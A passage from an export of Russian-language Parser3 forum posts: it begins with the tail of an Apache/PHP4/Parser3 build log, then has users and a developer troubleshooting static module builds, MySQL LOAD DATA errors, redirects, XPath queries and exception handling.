gcc -c  -I../../os/unix -I../../include   -funsigned-char -DUSE_EXPAT -I../../lib/expat-lite -DNO_DL_NEEDED `../../apaci` mod_access.c\
gcc -c  -I../../os/unix -I../../include   -funsigned-char -DUSE_EXPAT -I../../lib/expat-lite -DNO_DL_NEEDED `../../apaci` mod_auth.c\
rm -f libstandard.a\
ar cr libstandard.a mod_log_config.o mod_mime.o mod_dir.o mod_access.o mod_auth.o\
ranlib libstandard.a\
<=== src/modules/standard\
===> src/modules/php4\
gcc -c  -I../../os/unix -I../../include   -funsigned-char -DUSE_EXPAT -I../../lib/expat-lite -DNO_DL_NEEDED `../../apaci` -funsigned-char  -I/chroot/src/php-4.3.8/main -I/chroot/src/php-4.3.8/Zend -I/chroot/src/php-4.3.8/TSRM -I/chroot/src/php-4.3.8 -I/chroot/src/php-4.3.8/sapi/apache -I/chroot/src/php-4.3.8/main -I/chroot/src/php-4.3.8/Zend -I/chroot/src/php-4.3.8/TSRM   mod_php4.c\
cp libmodphp4.a libphp4.a\
ar r libphp4.a mod_php4.o\
ranlib libphp4.a\
<=== src/modules/php4\
<=== src/modules\
gcc -c  -I./os/unix -I./include   -funsigned-char -DUSE_EXPAT -I./lib/expat-lite -DNO_DL_NEEDED `./apaci` modules.c\
gcc -c  -I./os/unix -I./include   -funsigned-char -DUSE_EXPAT -I./lib/expat-lite -DNO_DL_NEEDED `./apaci` buildmark.c\
gcc  -funsigned-char -DUSE_EXPAT -I./lib/expat-lite -DNO_DL_NEEDED `./apaci`     -o httpd buildmark.o modules.o  modules/php4/libphp4.a  modules/standard/libstandard.a  main/libmain.a  ./os/unix/libos.a  ap/libap.a  lib/expat-lite/libexpat.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
===> src/support\
gcc -c  -I../os/unix -I../include  -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` htpasswd.c\
gcc -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` -o htpasswd   -L../os/unix -L../ap htpasswd.o -lm -lap -los /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
htpasswd.o: In function `main':\
htpasswd.o(.text+0xcb2): warning: tmpnam() possibly used unsafely; consider using mkstemp()\
gcc -c  -I../os/unix -I../include  -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` htdigest.c\
gcc -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` -o htdigest   -L../os/unix -L../ap htdigest.o -lm -lap -los /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
htdigest.o: In function `main':\
htdigest.o(.text+0x4be): warning: tmpnam() possibly used unsafely; consider using mkstemp()\
gcc -c  -I../os/unix -I../include  -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` rotatelogs.c\
gcc -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` -o rotatelogs   -L../os/unix -L../ap rotatelogs.o -lm -lap -los /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
gcc -c  -I../os/unix -I../include  -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` logresolve.c\
gcc -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` -o logresolve   -L../os/unix -L../ap logresolve.o -lm -lap -los /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
gcc -c  -I../os/unix -I../include  -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` ab.c\
gcc -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` -o ab   -L../os/unix -L../ap ab.o -lm -lap -los /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
sed <apxs.pl >apxs  -e 's%@TARGET@%httpd%g'  -e 's%@CC@%gcc%g'  -e 's%@CFLAGS@%-DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci`%g'  -e 's%@CFLAGS_SHLIB@%%g'  -e 's%@LD_SHLIB@%%g'  -e 's%@LDFLAGS_MOD_SHLIB@%%g'  -e 's%@LIBS_SHLIB@%%g' && chmod a+x apxs\
gcc -c  -I../os/unix -I../include  -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` checkgid.c\
gcc -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED `../apaci` -o checkgid   -L../os/unix -L../ap checkgid.o -lm -lap -los /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
gcc -c  -I../os/unix -I../include  -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED -DHTTPD_USER=\\\"apache\\\"  -DUID_MIN=1000  -DGID_MIN=1000  -DUSERDIR_SUFFIX=\\\"public_html\\\"  -DLOG_EXEC=\\\"/usr/local/apache/logs/suexec_log\\\"  -DDOC_ROOT=\\\"/usr/local/apache/htdocs\\\"  -DSAFE_PATH=\\\"/usr/local/bin:/usr/bin:/bin\\\" suexec.c\
gcc -DLOGIN_CAP  -funsigned-char -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED -DHTTPD_USER=\\\"apache\\\"  -DUID_MIN=1000  -DGID_MIN=1000  -DUSERDIR_SUFFIX=\\\"public_html\\\"  -DLOG_EXEC=\\\"/usr/local/apache/logs/suexec_log\\\"  -DDOC_ROOT=\\\"/usr/local/apache/htdocs\\\"  -DSAFE_PATH=\\\"/usr/local/bin:/usr/bin:/bin\\\" -lutil -o suexec   -L../os/unix -L../ap suexec.o -lm -lap -los /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/classes/libclasses.a /chroot/src/parser3/src/types/libtypes.a /chroot/src/parser3/src/main/libmain.a /chroot/src/parser3/src/lib/ltdl/libltdlc.a /chroot/src/parser3/src/lib/gd/libgd.a /chroot/src/parser3/src/lib/cord/libcord.a /chroot/src/parser3/src/lib/pcre/libpcre.a /chroot/src/parser3/src/lib/md5/libmd5.a /chroot/src/parser3/src/lib/sdbm/libsdbm.a /chroot/src/parser3/src/lib/smtp/libsmtp.a /chroot/src/parser3/src/targets/apache13core/libmod_parser3core.a  -L/usr/local/libgc/lib/ -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm -R/usr/local/mysql//lib/mysql  -rdynamic -L/usr/local/mysql//lib/mysql -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4    -rdynamic -L/usr/local/mysql//lib/mysql -lcrypt   -lcrypt -lmysqlclient -lm  -lcrypt -lcrypt   -lcrypt\
<=== src/support\
<=== src\
[/code]"
"32772","[b]я не[/b] знаю, как собирать apache с mod_parser3.so, мне так пока не нужно было, не заморачивался.\
\
если вам [b]не[/b] нужно, чтобы parser собрался в виде [b]динамического[/b] модуля, и вас устроит, чтобы, как php, он скомпоновался статически, то и не забивайте себе голову, и собирайте так, как p3runConfigure предполагает. См. на экран в конце make проекта parser3.\
\
тогда, разумеется, никаких LoadModule не нужно.\
\
в моей уставшей голове ваш вопрос смешался вот с этим:\
http://www.parser.ru/forum/?id=32694\
поэтому какое-то время тупил.\
\
приведите вашу строку p3runConfigure?"
"32773","[code]\
./p3runConfigure --prefix=/usr/local/apache --disable-module=all --server-uid=apache --server-gid=apache --enable-module=access --enable-module=log_config --enable-module=dir --enable-module=mime --enable-module=auth --activate-module=src/modules/php4/libphp4.a --enable-suexec --suexec-caller=apache --suexec-uidmin=1000 --suexec-gidmin=1000\
[/code]\
\
я тут эксперементировал и заметил, что если добавить к ней activate-module=src/modules/extra/parser, то в этот каталог начинает заходить при сборке, но стопорится где-то, вроде конфликтует с ПХП какими-то определениями, в-общем еще не разобрался..."
"32774","Если к примеру накладывать сглаженый (antialising) шрифт на некоторый фон из гифа, то нужно области сглаживания прорисовывать с учетом цвета этого фона. А если брать из png то при наложении цвета сами выровняются как надо.\
Это делает шрифт универсальным, т.е. к примеру белые буковки какого-то заголовка будут одинаково красиво смотреться и на красном и на синем фоне... А при текущем положении приходится делать 2 заготовки под синий и под красный отдельно."
"32775","А мне вот надобно прикрутить поддержку .zip в парсере!\
Думаю что смогу помочь.\
Только где взять сырки?"
"32776","Подскажите пожалуйста, как XPath-ом выдергивать один (первый, если найдется несколько) элемент, у которого аттрибут id равен, допустим, четырем.\
\
Читал документацию по XPath, но, к сожалению, все что перепробывал не дало положительных результатов.\
\
Заранее спасибо, и прошу прощения за назойливость :)"
"32777","тут вполне достаточно запустить внешний командный файл.\
благо zip/unzip есть подо все платформы и устанавливается тривиально.\
\
я говорю об общеполезных вещах."
"32780","отсутствует возможность динамически изменять данные (цвет, скажем) в файлике со шрифтом, приходится либо заранее делать несколько разноцветных копий, либо грузить как гиф - менять - сохранять - грузить как фонт."
"32781","это и невозможно.\
вообще-говоря, когда фонт с антиалиасингом, и фон тоже фиксированного цвета.\
\
в новой libgd, насколько я понимаю, всё есть (вывод TTF шрифтами, .PS шрифтами и прочее).\
\
если у кого есть силы прикрутить, welcome, приму \"patch -u\""
"32782","Задача:\
На главной странице (т.е. / ) имеется кнопка,\
при нажатии на которой посетитель\
переходит на др. страницу.\
Все это у меня получается, но:\
\
если в  обработке кнопки такой код:\
[code]$response:refresh[\
		$.value[0]\
		$.url[/search/?string=$form:text]\
		][/code]\
, то прежде чем перейти на др. стр.\
главная заново обновляется (плохо, т.к.\
на ней ести графика);\
\
а если такой код\
\
[code]$response:location[/search/?string=$form:text][/code]\
\
, то перехожу сразу, но в адресной строке\
браузера адрес главной стр., т.е. и меню\
показывает, что я по-прежнему на главной.\
\
Подскажите чем сможете."
"32783","такое поведение refresh правильно. обычно делают refresh, когда хотят пользователю что-то показать перед тем, как всучить ему другой документ.\
\
что до странностей с адресной строкой, так это давний bug в MSIE:\
[b]иногда[/b] адресная строка после redirect продолжает показывать старое.\
настоящий адрес документа всегда виден в свойствах страницы (File|Properties...)"
"32784","Мне вот очень нехватает доступа к данным в именованной таблице по номеру строки и колонки!"
"32786","Я не говорю про полезность. Я говорю про удобство пользования таблицей!\
К примеру при загрузке таблиц из sql сервера, когда не известно наименование таблиц (к примеру select * from).\
За все мое время общения с табличными данными практически во всех инструментах присутсвовали такие возможности."
"32787","Вдруг перестала работать загрузка данных из текстового файла в таблицу MySQL, возникает ошибка sql.execute:\
\
The used command is not allowed with this MySQL version\
\
[code]LOAD DATA LOCAL INFILE \"/home/u6992/engine.ru/www/import/Export_Publishers.txt\" INTO TABLE u6992.publishers FIELDS TERMINATED BY '\\t' LINES TERMINATED BY '\\n'[/code]\
\
Загадка в том, что эта же самая SQL-команда выполняется без ошибок при помощи MyPhpAdmin...\
Хостинг - Мастерхост."
"32788","необходим конкретный показательный пример."
"32790","Нет-нет, MyPhpAdmin добавляет прекрасно данные в таблицы! А парсер ту же команду перестал выполнять. Я в растеренности, понятно, что-то изменилось у хостера (я ничего не редактировал у себя), но предъявить ему притензии не могу, т.к. через PHP-то все работает! Облом..."
"32791","к примеру mssql - select ... from some_table for xml auto\
возвращает таблицу с одной колонкой неизвестного имени\
с помощью columns можно это наименование узнать\
однако обращение к этой колонке возвращает пустые данные!\
то есть данные из такого запроса невозможно получить!"
"32792","parser же использует официальный подход: требует библиотеки libmysqlclient.so\
\
возможно, ваш hoster установил поновее версию mysql, и, среди прочего, обновил эту библиотеку… на версию, где LOAD LOCAL не поддерживается.\
\
найдите эту библиотеку для вашей OS отдельно (версия mysql несущественна, плюс/минус)."
"32793","имя выглядит разумным?\
\
попробую потом.\
\
если есть энтузиазм, пособите? (код parser3odbc.C тривиален)"
"32794","1. Файл на место положили? http://www.engline.ru/import/Export_Publishers.txt даёт нам ошибку 404...\
\
[color=\"#ff0000\"]Update: снимается, опечатку сделал, виноват...[/color]\
\
2. Попробуйте убрать слово local из запроса..."
"32795","может только тут:\
\
[code]\
^mail:send[\
  $.file[\
      $.value[^file::load[...]]\
#       такого пока нет, но можно сделать\
      $.method[base64]\
[/code]"
"32796","Если убрать LOCAL, то говорит:\
[quot]Access denied for user: 'u6992@10.10.10.105' (Using password: YES)[/quot]"
"32797","Если так, я же не смогу использовать отдельно от провайдера свое библиотеку? \
И еще, думаю, мне бы сказали в службе поддержки Мастерхоста, что LOAD LOCAL теперь не поддреживается (а они лишь предложили заменить ковычки)... Хотя, черт знает...\
\
А обновлять версию парсера и драйвер mysql значит нет смысла?"
"32798","возвращается колонка наподобие:\
[b]XML_F52E2B61-18A1-11d1-B105-00805F49916B[/b]\
\
Подсобить попробую, только где и как исходники взять? И на чём собирать?\
\
Кстати раз уж пошла такая пляска вроде как и \
[code]select ... into #tempselect[/code] тоже не работал!\
Выдавало: недопустимое состояние курсора!\
\
А разве mfc не идет каждый раз обновленный с операционкой? Или у Вас используется статический?"
"32800","достаточно изменить к ней путь в auto.p в @conf\
\
поддержка могла не знать, что там обновилось."
"32801","у меня используется статический, поскольку \
1. его может не быть\
2. с обновлением у него меняется имя файла :) [и я не уверен, что вообще есть правильный]\
\
впрочем, посмотрим."
"32802","Согласен! Ведь у парсера нету инсталятора который бы об этом заботился!"
"32803","$response:refresh[\
  $.value[0]\
  $.url[url]\
]\
\
не дал результата (просто открыл страницу его содержащую и все. а переадресовывать меня забил)\
\
причем это наблюдается только на одной странице сайта, на остальных где есть все ок.\
В чем может быть дело?"
"32804","чтобы создавать объект типа двоичный file из последовательности символов в которых этот самый файл закодирован с помощью base64.\
\
Надо для того чтобы передавать/получать любые двоичные файлы с помощью XML"
"32805","об этом позаботиться.\
\
а админы бывают разными."
"32806","вам охота тратить полжизни на ерунду?\
\
$response:location в руки"
"32807","но \"patch -u\" приму всё равно.\
\
видится так:\
[code]\
#конструктор\
$iconFile[^file::base64[^xdoc.selectSingle[text(/a/b/icon)]]]\
#рендерилка\
^iconFile.base64[]\
[/code]"
"32808","да, я это и имел ввиду."
"32810","не очень уловил смысл...\
в расшифровке предлагаете создать папку \
mkdir $HOME/gnome/include/libgdome/gdomecore - это что за путь и куда? должна быть только эта папка или это часть кучи, которая должна там быть?"
"32811","[i]настоящий адрес документа всегда виден в свойствах страницы (File|Properties...)[/i]\
\
По\
[code]$response:location[/code]\
оказываюсь в \"/search/\", а\
(File|Properties...) и адресная строка показывают\
главную, т.е. \"/\".\
Получается, что годится\
только [code]$response:refresh[/code];\
И правильно ли я понимаю что значение[code].value[0][/code]\
в теле [code]$response:refresh[/code] задает через\
сколько секунд будет этот самый рефреш,\
[b]вот только не пойму[/b] если нажимаю кнопку\
назад в браузере и возвращаюсь на главную,\
то (если было задано значение [b].value[5][/b])\
через 5 секунд без нажатия кнопки возвращаюсь\
обратно...\
Поясните пожалуйста суть этого механизма, т.к.\
если через меню страницы возвр. на главную -\
рефреш сам собой не происходит... "
"32812","в методе есть ^switch[], пара входящих значений вызвает сразу несколько методов-\"потомков\". пара из вызываемых методов могут выдать ошибку.\
\
мне надо вывести только название метода выдающего ошибку и значение при котором она возникает.\
\
пока всеь ^switch \"обернул\" в ^try(чтоб не показывать реальные ошибки), но вот как выцепить то что нужно - из доки не понял."
"32813","Ставлю парсер на FreeBSD на сервере в локальной сети.\
Выдается ошибка: Premature end of ... ну и так далее :(\
Стал проверять: переписываю парсер для фри, файл исполнимый, с htaccess все вроде нормално, но все равно выдается ошибка\
До этого ставил парсер в и-нете тоже на FreeBSD, всё работало. \
\
помогите плиз!!! в чем может быть дело?"
"32814","всё исчерпывающе описано.\
\
кто-ж виноват, что автор libgdome не чинит ошибки, на которые ему указывают.\
автор libxml&xsl куда более вменяем."
"32816","1.\
вы мыслите, как программист :)\
встаньте на место посетителя: ему до лампочки, в каком методе на сервере что развалилось.\
ему важно: «что пошло не так?» или, конкретнее, «что он сделал не так?».\
\
соответственно, обычно вам [b]не[/b] нужно выводить названия каких-то там методов.\
поэтому-то и не сделан частичный $exception.stack, хотя технически сделать это можно (содержимое аналогично @unhandled_exception[…;stack]).\
\
2.\
[code]\
@main[]\
^try{\
    ^switch(2){\
        ^case(1){^method1[param1]}\
        ^case(2){^debugCall[method2;param2]}\
        ^case(3){^debugCall[method3;param3]}\
    }\
}{\
    ^if($exception.type eq debug){\
        $exception.handled(1)\
        $exception.source failed ($exception.comment)\
    }\
}\
\
@debugCall[name;param][method]\
$method[$$name]\
^try{\
    ^method[$param]\
}{\
    ^throw[debug;$name;$exception.source: $exception.comment]\
}\
\
@method2[p2]\
OK\
#comment me\
^doNothingAndGetMoney[]\
[/code]"
"32819","вот как раз это и надо было: что писать [b]кроме[/b] $exception.handled(1)\
\
Спасибо"
"32820","и даже с XML\
\
но не полностью так, как хотелось...\
есть еще с чем разобраться... и, может, попробуем совместными усилиями родить /usr/ports/www/mod_parser3 ? похоже, если сам это не сделаешь, то никто не сделает..."
"32821","На основе [url=\"http://www.parser.ru/forum/?id=31933\"]подсказанного Мишей метода[/url] я обдумал следующий подход:\
\
1. Методы на странице генерят XML код\
2. В методе @postprocess к тексту переменной $body добавляется <?xml version=\"1.0\" encoding=\"$request:charset\" ?>, потом делаем ^xdoc::create и потом в зависимости от $requset:uri (или от другой переменной, идентифицирующей конкретную страницу) подгружаем нужный XSL-файл (или запись из базы) с которым и делаем transform.\
\
Насколько все это правильно?\
\
И еще: осталась непонятой фраза в заголовке вышеупомянутого Мишиного сообщения \"а может проще воспользоваться $result[]?\"..."
"32822","тот метод подмены cgi скриптом шелла, чтобы увидеть полное настоящее сообщение об ошибке?\
а то приходится каждый раз его в форуме искать..."
"32823","было:\
[quot]\
Был перевод строки. В перекрывающем методе изменил на: \
\
@xmlFormLogon[in_params][lparams]\
